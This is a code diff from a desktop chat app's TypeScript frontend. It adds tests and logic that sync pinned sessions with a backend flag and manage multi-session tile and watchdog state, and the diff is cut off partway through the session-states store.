+vi.mock('@/clawcodex', () => ({
+  setSessionPinnedRemote: (id: string, pinned: boolean, profile?: null | string) => patch(id, pinned, profile)
+}))
+
+import { $pinnedSessionIds } from '@/store/layout'
+import { $sessions } from '@/store/session'
+
+import { resetSessionPinMirror, watchSessionPins } from './session-pin-sync'
+
+const row = (id: string, extra: Partial<SessionInfo> = {}): SessionInfo =>
+  ({ id, message_count: 1, source: 'cli', started_at: 0, title: id, ...extra }) as SessionInfo
+
+const flush = () => Promise.resolve()
+
+beforeAll(() => {
+  ;(globalThis as { window?: unknown }).window ??= {}
+  ;(window as unknown as { clawcodexDesktop: unknown }).clawcodexDesktop = {}
+  // Attach the listeners once — module state is process-global.
+  watchSessionPins()
+})
+
+beforeEach(() => {
+  $sessions.set([])
+  $pinnedSessionIds.set([])
+  // The mirror/pending/unconfirmed maps are module-global, so one test's
+  // bookkeeping would otherwise suppress the next test's PATCH (or fence out
+  // its page). Same reset the gateway switch uses.
+  resetSessionPinMirror()
+  patch.mockClear()
+})
+
+afterEach(() => {
+  $sessions.set([])
+  $pinnedSessionIds.set([])
+})
+
+describe('watchSessionPins', () => {
+  it('mirrors a new pin as pinned=true with the row profile', async () => {
+    $sessions.set([row('a', { profile: 'work' })])
+    $pinnedSessionIds.set(['a'])
+    await flush()
+
+    expect(patch).toHaveBeenCalledWith('a', true, 'work')
+  })
+
+  it('mirrors an unpin as pinned=false', async () => {
+    $sessions.set([row('b')])
+    $pinnedSessionIds.set(['b'])
+    await flush()
+    patch.mockClear()
+
+    $pinnedSessionIds.set([])
+    await flush()
+
+    expect(patch).toHaveBeenCalledWith('b', false, undefined)
+  })
+
+  it('defers a pin whose row is not loaded, then flushes once it appears', async () => {
+    $pinnedSessionIds.set(['c'])
+    await flush()
+    // No row yet -> nothing sent.
+    expect(patch).not.toHaveBeenCalled()
+
+    $sessions.set([row('c', { profile: 'p2' })])
+    await flush()
+
+    expect(patch).toHaveBeenCalledWith('c', true, 'p2')
+  })
+
+  it('matches a pin id against the lineage root', async () => {
+    // pin id is the lineage root; the live row carries it as _lineage_root_id.
+    $sessions.set([row('tip', { _lineage_root_id: 'root' })])
+    $pinnedSessionIds.set(['root'])
+    await flush()
+
+    expect(patch).toHaveBeenCalledWith('root', true, undefined)
+  })
+
+  it('does not re-PATCH an already-mirrored pin on unrelated session updates', async () => {
+    $sessions.set([row('d')])
+    $pinnedSessionIds.set(['d'])
+    await flush()
+    patch.mockClear()
+
+    // A session-list refresh that doesn't change the pinned set.
+    $sessions.set([row('d'), row('e')])
+    await flush()
+
+    expect(patch).not.toHaveBeenCalled()
+  })
+})
+
+describe('watchSessionPins remote pull', () => {
+  it('adopts a pin another app made', async () => {
+    $sessions.set([row('remote', { pinned: true })])
+    await flush()
+
+    expect($pinnedSessionIds.get()).toContain('remote')
+  })
+
+  it('adopts a remote pin on the durable lineage root, not the live tip', async () => {
+    $sessions.set([row('tip', { _lineage_root_id: 'root', pinned: true })])
+    await flush()
+
+    expect($pinnedSessionIds.get()).toEqual(['root'])
+  })
+
+  it('does not echo an adopted pin back as a redundant write', async () => {
+    $sessions.set([row('adopted', { pinned: true })])
+    await flush()
+
+    expect(patch).not.toHaveBeenCalled()
+  })
+
+  it('drops a local pin the server reports as unpinned', async () => {
+    $pinnedSessionIds.set(['gone'])
+    $sessions.set([row('gone', { pinned: true })])
+    await flush()
+    patch.mockClear()
+
+    // Another app unpinned it; our next refresh carries the new truth.
+    $sessions.set([row('gone', { pinned: false })])
+    await flush()
+
+    expect($pinnedSessionIds.get()).not.toContain('gone')
+  })
+
+  it('leaves the local set alone when the backend omits the flag', async () => {
+    $pinnedSessionIds.set(['legacy'])
+    // No `pinned` key at all — a runtime predating the column.
+    $sessions.set([row('legacy')])
+    await flush()
+
+    expect($pinnedSessionIds.get()).toContain('legacy')
+  })
+
+  it('does not revert a fresh local pin while the loaded row is still stale (#74570)', async () => {
+    // The row is already loaded and says pinned=false when the user pins.
+    // The pin listener fires reconcile synchronously — before any PATCH — and
+    // the stale row must not win over the local intent.
+    $sessions.set([row('fresh', { pinned: false })])
+    await flush()
+    patch.mockClear()
+
+    $pinnedSessionIds.set(['fresh'])
+    await flush()
+
+    expect($pinnedSessionIds.get()).toContain('fresh')
+    expect(patch).toHaveBeenCalledWith('fresh', true, undefined)
+  })
+
+  it('does not revert a fresh local unpin while the loaded row still says pinned (#74570)', async () => {
+    // Adopt a server-side pin first, so it's held locally and mirrored.
+    $sessions.set([row('sticky', { pinned: true })])
+    await flush()
+    expect($pinnedSessionIds.get()).toContain('sticky')
+    patch.mockClear()
+
+    // User unpins while the loaded row still says pinned=true.
+    $pinnedSessionIds.set([])
+    await flush()
+
+    expect($pinnedSessionIds.get()).not.toContain('sticky')
+    expect(patch).toHaveBeenCalledWith('sticky', false, undefined)
+  })
+
+  it('keeps a deferred pin (row not yet loaded) when a stale page finally arrives', async () => {
+    $pinnedSessionIds.set(['deferred'])
+    await flush()
+    expect(patch).not.toHaveBeenCalled()
+
+    // The page that loads the row still predates our intent.
+    $sessions.set([row('deferred', { pinned: false })])
+    await flush()
+
+    expect($pinnedSessionIds.get()).toContain('deferred')
+    expect(patch).toHaveBeenCalledWith('deferred', true, undefined)
+  })
+
+  it('ignores a stale page that contradicts a write still in flight', async () => {
+    let settle: (v: { ok: boolean }) => void = () => {}
+
+    patch.mockImplementationOnce(() => new Promise(resolve => (settle = resolve)))
+
+    $sessions.set([row('race')])
+    $pinnedSessionIds.set(['race'])
+    await flush()
+    expect(patch).toHaveBeenCalledWith('race', true, undefined)
+
+    // A list request issued before the PATCH lands still says pinned=false.
+    // Honouring it would silently undo the pin the user just made.
+    $sessions.set([row('race', { pinned: false })])
+    await flush()
+
+    expect($pinnedSessionIds.get()).toContain('race')
+
+    settle({ ok: true })
+    await flush()
+    await flush()
+
+    expect($pinnedSessionIds.get()).toContain('race')
+  })
+
+  it('still ignores a pre-write page that lands AFTER the ack (#76919)', async () => {
+    // The ack is not proof: a list request issued before the PATCH is slower
+    // than the PATCH itself, so it can arrive afterwards still carrying the
+    // old value. Reverting on it un-pins the session AND pushes the wrong
+    // value back to the server, making the mistake durable.
+    $sessions.set([row('acked')])
+    $pinnedSessionIds.set(['acked'])
+    await flush()
+    await flush()
+    expect(patch).toHaveBeenCalledWith('acked', true, undefined)
+    patch.mockClear()
+
+    // Post-ack, but this page predates the write.
+    $sessions.set([row('acked', { pinned: false })])
+    await flush()
+
+    expect($pinnedSessionIds.get()).toContain('acked')
+    expect(patch).not.toHaveBeenCalled()
+  })
+
+  it('releases the guard once a page confirms the written value', async () => {
+    $sessions.set([row('confirmed')])
+    $pinnedSessionIds.set(['confirmed'])
+    await flush()
+    await flush()
+
+    // The server catches up and echoes our value back.
+    $sessions.set([row('confirmed', { pinned: true })])
+    await flush()
+    patch.mockClear()
+
+    // With the write confirmed, a genuine remote unpin is authoritative again.
+    $sessions.set([row('confirmed', { pinned: false })])
+    await flush()
+
+    expect($pinnedSessionIds.get()).not.toContain('confirmed')
+  })
+
+  it('stops fencing once the guard cooldown expires', async () => {
+    vi.useFakeTimers()
+
+    try {
+      $sessions.set([row('stale')])
+      $pinnedSessionIds.set(['stale'])
+      await flush()
+      await flush()
+
+      // No page ever confirms the write. The guard must not fence forever —
+      // after the cooldown the server's answer wins again.
+      vi.advanceTimersByTime(11_000)
+
+      $sessions.set([row('stale', { pinned: false })])
+      await flush()
+
+      expect($pinnedSessionIds.get()).not.toContain('stale')
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
+  it('keeps the pin and retries when the write itself fails', async () => {
+    patch.mockImplementationOnce(() => Promise.reject(new Error('offline')))
+
+    $sessions.set([row('failed')])
+    $pinnedSessionIds.set(['failed'])
+    await flush()
+    await flush()
+    patch.mockClear()
+
+    // The PATCH never landed, so the server legitimately still says unpinned —
+    // but that's OUR undelivered intent, not a remote decision. The pin stays
+    // and the next reconcile retries it rather than silently dropping it.
+    $sessions.set([row('failed', { pinned: false })])
+    await flush()
+
+    expect($pinnedSessionIds.get()).toContain('failed')
+    expect(patch).toHaveBeenCalledWith('failed', true, undefined)
+  })
+})
diff --git a/ui-desktop/src/store/session-pin-sync.ts b/ui-desktop/src/store/session-pin-sync.ts
new file mode 100644
index 000000000..86156448f
--- /dev/null
+++ b/ui-desktop/src/store/session-pin-sync.ts
@@ -0,0 +1,202 @@
+/**
+ * Reconcile the sidebar's pins with the backend "keep" flag, both directions.
+ *
+ * Pins drive the sidebar UI out of `$pinnedSessionIds` (localStorage), but the
+ * durable record is `sessions.pinned` in each profile's state.db. Two things
+ * depend on the backend copy: the `sessions.auto_archive` sweep runs
+ * server-side and would otherwise hide a pinned chat, and a second Desktop app
+ * pointed at the same gateway has its own, separate localStorage.
+ *
+ * Push: PATCH `pinned` whenever the local set changes, and re-assert the whole
+ * set at boot — which transparently migrates pre-existing pins with no user
+ * action.
+ *
+ * Pull: session rows now carry `pinned`, and the list endpoints back-fill
+ * pinned conversations past their LIMIT, so a row's absence from a page no
+ * longer says anything about its pin state. That makes the server row
+ * authoritative: adopt pins this app hasn't seen, and drop local pins the
+ * server says are gone. Only rows actually present in the payload are
+ * consulted, so a backend predating the flag (`pinned === undefined`) leaves
+ * the local set untouched — and a page that predates one of our own writes is
+ * fenced out until a later page confirms the value we wrote.
+ */
+
+import { setSessionPinnedRemote } from '@/clawcodex'
+import { $pinnedSessionIds, pinSession, unpinSession } from '@/store/layout'
+import { $sessions, sessionMatchesStoredId, sessionPinId } from '@/store/session'
+
+// pin ids we've successfully PATCHed pinned=true this session.
+const mirrored = new Set<string>()
+// pin ids awaiting their row so we can resolve the owning profile before PATCH.
+const pending = new Set<string>()
+// Writes we've issued, id -> the value we wrote and when. A list page already
+// in flight when we PATCH still carries the OLD value, and it can land after
+// our ack — so the ack is not proof the page we're reading is newer than the
+// write. Hold the guard until a page actually CONFIRMS the written value,
+// with a cooldown so a row that never comes back can't fence itself forever.
+const unconfirmed = new Map<string, { at: number; value: boolean }>()
+
+// How long an unconfirmed write outranks a page that contradicts it. Long
+// enough to cover a list request issued just before the PATCH (those are the
+// slow ones), short enough that a genuine server-side change still wins.
+const WRITE_GUARD_MS = 10_000
+
+function profileFor(pinId: string): null | string | undefined {
+  return $sessions.get().find(row => sessionMatchesStoredId(row, pinId))?.profile
+}
+
+/** PATCH the flag, guarding reads against pages that predate the write. */
+function writePin(id: string, pinned: boolean, profile?: null | string): Promise<void> {
+  unconfirmed.set(id, { at: Date.now(), value: pinned })
+
+  return setSessionPinnedRemote(id, pinned, profile).then(
+    () => {
+      // Deliberately NOT cleared here: a list request issued before this PATCH
+      // can still land after the ack carrying the pre-write value. The guard
+      // is released by pullRemotePins when a page confirms the written value,
+      // or by the cooldown if none ever does.
+    },
+    (err: unknown) => {
+      // A failed write leaves the server on the old value, so the guard would
+      // be fencing out the truth. Drop it and let the page win.
+      unconfirmed.delete(id)
+      throw err
+    }
+  )
+}
+
+/**
+ * Adopt the server's pin state for every row in the current page.
+ *
+ * Runs after the push pass so local intent is already fenced (`pending` /
+ * `unconfirmed`) by the time the page is read — a fresh local toggle whose
+ * PATCH hasn't landed yet must win over the stale row, not be reverted by it
+ * (#74570). Remote pins adopted here are marked mirrored before the local set
+ * changes, so the re-entrant reconcile doesn't echo them back as a PATCH.
+ */
+function pullRemotePins(): void {
+  const local = new Set($pinnedSessionIds.get())
+
+  for (const row of $sessions.get()) {
+    // A backend without the flag has no opinion; never act on `undefined`.
+    if (typeof row.pinned !== 'boolean') {
+      continue
+    }
+
+    // Pins are keyed on the durable lineage root so they survive compression
+    // tip rotation; the row may surface under either identity.
+    const pinId = sessionPinId(row)
+    const heldLocally = local.has(pinId) || local.has(row.id)
+
+    // A write of ours this page may predate. Confirmed (page agrees) → release
+    // the guard, the server has caught up. Contradicted but still inside the
+    // cooldown → the page was almost certainly issued before our PATCH, so our
+    // write is newer: skip the row. Contradicted past the cooldown → no page
+    // ever confirmed us, so stop fencing and let the server win.
+    const guardKey = unconfirmed.has(pinId) ? pinId : unconfirmed.has(row.id) ? row.id : null
+    const guard = guardKey ? unconfirmed.get(guardKey) : undefined
+
+    if (guard && guardKey) {
+      if (guard.value === row.pinned) {
+        unconfirmed.delete(guardKey)
+      } else if (Date.now() - guard.at < WRITE_GUARD_MS) {
+        continue
+      } else {
+        unconfirmed.delete(guardKey)
+      }
+    }
+
+    // Local intent still waiting on its PATCH (row unresolved when the push
+    // pass ran) is also newer than the page — never revert it.
+    if (pending.has(pinId) || pending.has(row.id)) {
+      continue
+    }
+
+    if (row.pinned && !heldLocally) {
+      // Mark mirrored first: pinSession fires the pin listener synchronously,
+      // and the nested reconcile must not see this as a new pin to PATCH.
+      mirrored.add(pinId)
+      pinSession(pinId)
+    } else if (!row.pinned && heldLocally) {
+      // Same discipline on the way down: forget the mirror before the nested
+      // reconcile runs, or it re-PATCHes pinned=false the server already has.
+      mirrored.delete(pinId)
+      mirrored.delete(row.id)
+      unpinSession(local.has(pinId) ? pinId : row.id)
+    }
+  }
+}
+
+function reconcile(): void {
+  // Config/session REST is only reachable through the Electron bridge.
+  if (!window.clawcodexDesktop) {
+    return
+  }
+
+  // Push before pull. The pin listener fires synchronously on a local toggle,
+  // so this reconcile runs before the PATCH for that toggle exists anywhere.
+  // The push pass below records the intent (`pending`, then `unconfirmed` via
+  // writePin) — only then may the pull read the page, where those fences stop
+  // the still-stale row from silently reverting the user's action (#74570).
+  const current = new Set($pinnedSessionIds.get())
+
+  // Unpinned: anything we were tracking that's no longer in the set.
+  for (const id of [...mirrored, ...pending]) {
+    if (!current.has(id)) {
+      mirrored.delete(id)
+      pending.delete(id)
+      void writePin(id, false, profileFor(id)).catch(() => {})
+    }
+  }
+
+  // Newly pinned: hold until we can resolve the row (for its profile).
+  for (const id of current) {
+    if (!mirrored.has(id)) {
+      pending.add(id)
+    }
+  }
+
+  // Flush whatever we can resolve now; unresolved ids (row not loaded yet)
+  // retry on the next $sessions change.
+  for (const id of [...pending]) {
+    const row = $sessions.get().find(entry => sessionMatchesStoredId(entry, id))
+
+    if (!row) {
+      continue
+    }
+
+    pending.delete(id)
+    mirrored.add(id)
+    void writePin(id, true, row.profile).catch(() => {
+      // Let a later reconcile retry the mirror.
+      mirrored.delete(id)
+      pending.add(id)
+    })
+  }
+
+  pullRemotePins()
+}
+
+// Sync once, then re-sync on pin-set and session-list changes. Call once per app.
+export function watchSessionPins(): void {
+  reconcile()
+  $pinnedSessionIds.listen(reconcile)
+  $sessions.listen(reconcile)
+}
+
+/**
+ * Forget what we've mirrored, because the backend we mirrored it TO is gone.
+ *
+ * `mirrored` / `pending` / `unconfirmed` all mean "relative to the gateway we
+ * are talking to". After a soft switch the next backend has its own state.db
+ * and has never seen these pins, but `mirrored` would report them as already
+ * pushed and suppress the PATCHes — so the user's pins silently fail to reach
+ * the new gateway (and its auto-archive sweep is free to hide them). Dropping
+ * the bookkeeping makes the next reconcile re-assert the whole set, which is
+ * the same path that migrates pre-existing pins at boot.
+ */
+export function resetSessionPinMirror(): void {
+  mirrored.clear()
+  pending.clear()
+  unconfirmed.clear()
+}
diff --git a/ui-desktop/src/store/session-states.test.ts b/ui-desktop/src/store/session-states.test.ts
new file mode 100644
index 000000000..3bff4ba52
--- /dev/null
+++ b/ui-desktop/src/store/session-states.test.ts
@@ -0,0 +1,229 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { findGroupOfPane, group, split } from '@/components/pane-shell/tree/model'
+import { $layoutTree } from '@/components/pane-shell/tree/store'
+import { $selectedStoredSessionId } from '@/store/session'
+import type { SessionTile } from '@/store/session-states'
+import {
+  blankDraftTile,
+  focusedSessionNeedsRoute,
+  markSelectionRestore,
+  orderTilesByTree,
+  selectionHomesToWorkspace
+} from '@/store/session-states'
+
+const tile = (storedSessionId: string): SessionTile => ({ storedSessionId })
+const tilePane = (id: string) => `session-tile:${id}`
+
+describe('orderTilesByTree', () => {
+  it('no-ops (null) without a tree or below two tiles', () => {
+    expect(orderTilesByTree(null, [tile('a'), tile('b')])).toBeNull()
+    expect(orderTilesByTree(group([tilePane('a')]), [tile('a')])).toBeNull()
+  })
+
+  it('reorders tiles to layout-tree encounter order across a split', () => {
+    const tree = split('row', [group(['workspace', tilePane('b')]), group([tilePane('a')])])
+
+    expect(orderTilesByTree(tree, [tile('a'), tile('b')])).toEqual([tile('b'), tile('a')])
+  })
+
+  it('returns null when the array already matches strip order (skip persist)', () => {
+    const tree = split('row', [group([tilePane('b')]), group([tilePane('a')])])
+
+    expect(orderTilesByTree(tree, [tile('b'), tile('a')])).toBeNull()
+  })
+
+  it('sorts not-yet-adopted tiles after placed ones, stably', () => {
+    const tree = group(['workspace', tilePane('b')])
+
+    expect(orderTilesByTree(tree, [tile('a'), tile('b'), tile('c')])).toEqual([tile('b'), tile('a'), tile('c')])
+  })
+})
+
+describe('selectionHomesToWorkspace', () => {
+  const tiles = [tile('a'), tile('b')]
+
+  it('homes for a null selection or a non-tile session', () => {
+    expect(selectionHomesToWorkspace(null, tiles)).toBe(true)
+    expect(selectionHomesToWorkspace('c', tiles)).toBe(true)
+  })
+
+  it('skips homing when the selected id is already an open tile', () => {
+    expect(selectionHomesToWorkspace('a', tiles)).toBe(false)
+  })
+})
+
+describe('boot-restore selection homing (⌘R tab persistence)', () => {
+  const mainGroup = () => group(['workspace', tilePane('t')], { active: tilePane('t'), id: 'main' })
+
+  const activePane = () => {
+    const tree = $layoutTree.get()
+
+    return tree?.type === 'group' ? tree.active : null
+  }
+
+  it('a normal selection change fronts the workspace tab over an active tile', () => {
+    $layoutTree.set(mainGroup())
+    $selectedStoredSessionId.set('nav-1')
+
+    expect(activePane()).toBe('workspace')
+  })
+
+  it('markSelectionRestore skips homing exactly once, so the persisted active tab survives a reload', () => {
+    $layoutTree.set(mainGroup())
+    markSelectionRestore()
+    $selectedStoredSessionId.set('boot-1')
+
+    // Boot restore: the tile tab the user reloaded on stays fronted.
+    expect(activePane()).toBe(tilePane('t'))
+
+    // One-shot consumed: the next selection change is a real navigation.
+    $selectedStoredSessionId.set('nav-2')
+    expect(activePane()).toBe('workspace')
+  })
+})
+
+describe('focusedSessionNeedsRoute', () => {
+  it('routes when the session is not on screen', () => {
+    expect(focusedSessionNeedsRoute(null, false)).toBe(true)
+    expect(focusedSessionNeedsRoute(null, true)).toBe(true)
+  })
+
+  it('routes for the ACTIVE main session while a full page covers the workspace', () => {
+    expect(focusedSessionNeedsRoute('main', true)).toBe(true)
+  })
+
+  it('skips the route when the main session is already the visible chat', () => {
+    expect(focusedSessionNeedsRoute('main', false)).toBe(false)
+  })
+
+  it('never routes for a tile — its pane shows the chat on any route', () => {
+    expect(focusedSessionNeedsRoute('tile', true)).toBe(false)
+    expect(focusedSessionNeedsRoute('tile', false)).toBe(false)
+  })
+})
+
+describe('blankDraftTile', () => {
+  const bound = (storedSessionId: string, runtimeId: string): SessionTile => ({ runtimeId, storedSessionId })
+
+  const state = (messages: number, busy = false) =>
+    ({ busy, messages: Array.from({ length: messages }, (_, i) => ({ id: `m${i}` })) }) as ClientSessionState
+
+  it('finds the open tab whose session has no messages', () => {
+    const tiles = [bound('a', 'run-a'), bound('b', 'run-b')]
+    const states = { 'run-a': state(3), 'run-b': state(0) }
+
+    expect(blankDraftTile(tiles, states)).toEqual(tiles[1])
+  })
+
+  it('picks the most recent blank tab when there are several', () => {
+    const tiles = [bound('a', 'run-a'), bound('b', 'run-b')]
+    const states = { 'run-a': state(0), 'run-b': state(0) }
+
+    expect(blankDraftTile(tiles, states)).toEqual(tiles[1])
+  })
+
+  it('leaves a blank-but-busy tab alone — its first turn is already in flight', () => {
+    expect(blankDraftTile([bound('a', 'run-a')], { 'run-a': state(0, true) })).toBeNull()
+  })
+
+  it('treats an unbound or unpublished tile as unknown, not empty', () => {
+    expect(blankDraftTile([tile('a')], {})).toBeNull()
+    expect(blankDraftTile([bound('a', 'run-a')], {})).toBeNull()
+  })
+
+  it('is null when every open tab holds a conversation', () => {
+    expect(blankDraftTile([bound('a', 'run-a')], { 'run-a': state(2) })).toBeNull()
+    expect(blankDraftTile([], {})).toBeNull()
+  })
+})
+
+// ⌘⇧T used to only restore `$sessionTiles`. Adoption inserts silently
+// (activate:false), so the tab came back behind the still-fronted workspace.
+// Real path: register, adopt, focus — same as paneMirror + reopen.
+describe('reopenLastClosedTile focuses the restored tab', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  afterEach(() => {
+    vi.resetModules()
+  })
+
+  async function setup() {
+    const tree = await import('@/components/pane-shell/tree/store')
+    const model = await import('@/components/pane-shell/tree/model')
+    const { registry } = await import('@/contrib/registry')
+    const session = await import('@/store/session')
+    const states = await import('@/store/session-states')
+
+    registry.register({
+      area: 'panes',
+      data: { placement: 'main', uncloseable: true },
+      id: 'workspace',
+      render: () => null,
+      title: 'chat'
+    })
+
+    // panes ← $sessionTiles (paneMirror stub). Adoption is synchronous on
+    // register, so openSessionTile + focusOpenSession works the same tick.
+    const registered = new Map<string, () => void>()
+
+    const syncTiles = () => {
+      const wanted = new Set(states.$sessionTiles.get().map(t => t.storedSessionId))
+
+      for (const id of wanted) {
+        if (registered.has(id)) {
+          continue
+        }
+
+        registered.set(
+          id,
+          registry.register({
+            area: 'panes',
+            data: { dock: { pane: 'workspace', pos: 'center' }, placement: 'main' },
+            id: tilePane(id),
+            render: () => null,
+            title: id
+          })
+        )
+      }
+
+      for (const [id, dispose] of registered) {
+        if (!wanted.has(id)) {
+          dispose()
+          registered.delete(id)
+          tree.removeTreePane(tilePane(id))
+        }
+      }
+    }
+
+    states.$sessionTiles.listen(syncTiles)
+    tree.watchContributedPanes()
+    session.$selectedStoredSessionId.set('primary')
+    tree.declareDefaultTree(model.group(['workspace'], { active: 'workspace', id: 'grp-main' }))
+
+    states.openSessionTile('closed', 'center', 'workspace')
+    states.focusOpenSession('closed')
+    tree.noteActiveTreeGroup('grp-main')
+    expect(findGroupOfPane(tree.$layoutTree.get()!, tilePane('closed'))?.active).toBe(tilePane('closed'))
+
+    return { states, tree }
+  }
+
+  it('fronts the restored tab after ⌘⇧T', async () => {
+    const { states, tree } = await setup()
+
+    states.closeSessionTile('closed')
+    expect(states.$sessionTiles.get().some(t => t.storedSessionId === 'closed')).toBe(false)
+    expect(findGroupOfPane(tree.$layoutTree.get()!, 'workspace')?.active).toBe('workspace')
+
+    states.reopenLastClosedTile()
+
+    expect(states.$sessionTiles.get().some(t => t.storedSessionId === 'closed')).toBe(true)
+    expect(findGroupOfPane(tree.$layoutTree.get()!, tilePane('closed'))?.active).toBe(tilePane('closed'))
+    expect(tree.$activeTreeGroup.get()).toBe('grp-main')
+  })
+})
diff --git a/ui-desktop/src/store/session-states.ts b/ui-desktop/src/store/session-states.ts
new file mode 100644
index 000000000..c04a2aef9
--- /dev/null
+++ b/ui-desktop/src/store/session-states.ts
@@ -0,0 +1,811 @@
+/**
+ * MULTI-SESSION VIEW STATE — the reactive face of the per-runtime session
+ * cache (`sessionStateByRuntimeIdRef` in use-session-state-cache).
+ *
+ * The cache already ingests EVERY session's gateway events; only the view
+ * was single-session ($messages + the active-id gate). This store mirrors
+ * the cache per runtime id so any number of surfaces (session tiles, future
+ * pane windows) can each subscribe to one session's state without touching
+ * the main chat's `$messages` pipeline — same pattern as `useSessionSlice`
+ * over `$todosBySession`, applied to whole `ClientSessionState`s.
+ *
+ * TILES are the first consumer: sessions opened side-by-side with the main
+ * thread, each in its own layout-tree pane. `$sessionTiles` holds the
+ * stored-session ids (persisted — tiles survive restarts); the wiring layer
+ * owns resume/submit (it has the gateway + cache internals) and registers
+ * itself here as the delegate so tile UI stays dependency-light.
+ */
+
+import { atom, computed } from 'nanostores'
+
+import type { ClientSessionState } from '@/app/types'
+import { findGroup, findGroupOfPane, type LayoutNode } from '@/components/pane-shell/tree/model'
+import {
+  $activeTreeGroup,
+  $layoutTree,
+  focusedSessionTabAnchor,
+  moveTreePane,
+  noteActiveTreeGroup,
+  revealTreePane
+} from '@/components/pane-shell/tree/store'
+import { stableArray } from '@/lib/stable-array'
+import { readJson, writeJson } from '@/lib/storage'
+
+import { $activeGatewayProfile, normalizeProfileKey } from './profile'
+import {
+  $activeSessionId,
+  $selectedStoredSessionId,
+  $unreadFinishedSessionIds,
+  setActiveSessionStoredIdRotation
+} from './session'
+import { isSecondaryWindow } from './windows'
+
+// ---------------------------------------------------------------------------
+// Reactive per-runtime session state (view mirror of the wiring cache).
+// ---------------------------------------------------------------------------
+
+export const $sessionStates = atom<Record<string, ClientSessionState>>({})
+
+// Stored session ids whose authoritative state is still busy, but whose
+// runtime has produced no state publish for the watchdog window. Silence is
+// not completion: long tool calls can legitimately stay quiet, so this is a
+// presentation hint and never mutates the backend-derived busy state.
+export const $stalledSessionIds = atom<string[]>([])
+
+export function setSessionStalled(storedSessionId: string | null | undefined, stalled: boolean) {
+  if (!storedSessionId) {
+    return
+  }
+
+  const current = $stalledSessionIds.get()
+  const present = current.includes(storedSessionId)
+
+  if (stalled && !present) {
+    $stalledSessionIds.set([...current, storedSessionId])
+  } else if (!stalled && present) {
+    $stalledSessionIds.set(current.filter(id => id !== storedSessionId))
+  }
+}
+
+// --- Watchdog: marks busy sessions quiet after 8 min of stream silence -----
+export const SESSION_WATCHDOG_TIMEOUT_MS = 8 * 60 * 1000
+const sessionWatchdogTimers = new Map<string, ReturnType<typeof setTimeout>>()
+
+function armWatchdog(runtimeId: string) {
+  const existing = sessionWatchdogTimers.get(runtimeId)
+
+  if (existing) {
+    clearTimeout(existing)
+  }
+
+  sessionWatchdogTimers.set(
+    runtimeId,
+    setTimeout(() => {
+      sessionWatchdogTimers.delete(runtimeId)
+      const current = $sessionStates.get()[runtimeId]
+
+      if (current?.busy) {
+        setSessionStalled(current.storedSessionId, true)
+      }
+    }, SESSION_WATCHDOG_TIMEOUT_MS)
+  )
+}
+
+function clearWatchdog(runtimeId: string) {
+  const t = sessionWatchdogTimers.get(runtimeId)
+
+  if (t) {
+    clearTimeout(t)
+    sessionWatchdogTimers.delete(runtimeId)
+  }
+}
+
+// --- Settle grace: keeps a just-finished session in the sidebar merge set ---
+const SESSION_SETTLE_GRACE_MS = 30 * 1000
+const settledExpiry = new Map<string, number>()
+
+function markSettled(storedId: string) {
+  settledExpiry.set(storedId, Date.now() + SESSION_SETTLE_GRACE_MS)
+}
+
+function clearSettled(storedId: string) {
+  settledExpiry.delete(storedId)
+}
+
+/** Stored ids whose turn ended within the grace window. Prunes expired. */
+export function getRecentlySettledSessionIds(now: number = Date.now()): string[] {
+  const live: string[] = []
+
+  for (const [id, expiry] of settledExpiry) {
+    if (expiry > now) {
+      live.push(id)
+    } else {
+      settledExpiry.delete(id)
+    }
+  }
+
+  return live
+}
+
+// --- Transition detection (called automatically from publishSessionState) ---
+function handleTransition(previous: ClientSessionState | null, next: ClientSessionState, runtimeId: string) {
+  // Compression id rotation: signal the route-follow effect with enough
+  // provenance (previous id + runtime) that the consumer can reject the event
+  // if the user navigated elsewhere before React handled it. A bare next id
+  // could let a background session's delayed rotation steal the foreground
+  // route.
+  if (previous?.storedSessionId && next.storedSessionId && previous.storedSessionId !== next.storedSessionId) {
+    if (runtimeId === $activeSessionId.get()) {
+      setActiveSessionStoredIdRotation({
+        nextStoredSessionId: next.storedSessionId,
+        previousStoredSessionId: previous.storedSessionId,
+        runtimeSessionId: runtimeId
+      })
+    }
+
+    clearSettled(previous.storedSessionId)
+    setSessionStalled(previous.storedSessionId, false)
+  }
+
+  // Every busy publish is stream activity: clear the quiet hint and restart
+  // the silence window. A real terminal transition clears both the timer and
+  // any hint, but only that authoritative transition clears working/busy.
+  if (next.busy) {
+    setSessionStalled(next.storedSessionId, false)
+    armWatchdog(runtimeId)
+  } else {
+    clearWatchdog(runtimeId)
+    setSessionStalled(next.storedSessionId, false)
+    setSessionStalled(previous?.storedSessionId, false)
+  }
+
+  const storedId = next.storedSessionId
+
+  if (!storedId) {
+    return
+  }
+
+  const wasWorking = previous?.busy ?? false
+
+  if (next.busy && !wasWorking) {
+    clearSettled(storedId)
+  } else if (!next.busy && wasWorking) {
+    markSettled(storedId)
+
+    if (storedId !== $selectedStoredSessionId.get()) {
+      const cur = $unreadFinishedSessionIds.get()
+
+      if (!cur.includes(storedId)) {
+        $unreadFinishedSessionIds.set([...cur, storedId])
+      }
+    }
+  }
+}
+
+/** Publish one session's state. Automatically fires transition side-effects
+ *  (watchdog arm/disarm, settle grace, unread marker, compression id rotation)
+ *  by diffing previous vs next — callers never need to manually call a
+ *  transition handler.
+ *
+ *  Skips the publish when the new state is identical to the existing one
+ *  (same reference) to avoid churning `$sessionStates` on periodic
+ *  `session.info` heartbeats that carry no change — otherwise every ~1/s
+ *  heartbeat creates a new Record spread, triggering computed atoms
+ *  ($workingSessionIds, $attentionSessionIds) and their subscribers
+ *  unnecessarily. The runtime-id→state cache (sessionStateByRuntimeIdRef)
+ *  is updated independently by the caller, so the visual path stays live
+ *  without the store churn. */
+export function publishSessionState(runtimeId: string, state: ClientSessionState) {
+  const current = $sessionStates.get()
+  const prev = current[runtimeId] ?? null
+
+  if (prev === state) {
+    return
+  }
+
+  $sessionStates.set({ ...current, [runtimeId]: state })
+  handleTransition(prev, state, runtimeId)
+}
+
+export function dropSessionState(runtimeId: string) {
+  // Disarm the watchdog — a dropped runtime must not fire a stale clear later.
+  // Settle-grace entries are keyed by stored id and self-expire; leave them so
+  // a just-finished session's row survives merge eviction even if its tile or
+  // cached runtime is dropped in the meantime.
+  clearWatchdog(runtimeId)
+
+  const current = $sessionStates.get()
+  setSessionStalled(current[runtimeId]?.storedSessionId, false)
+
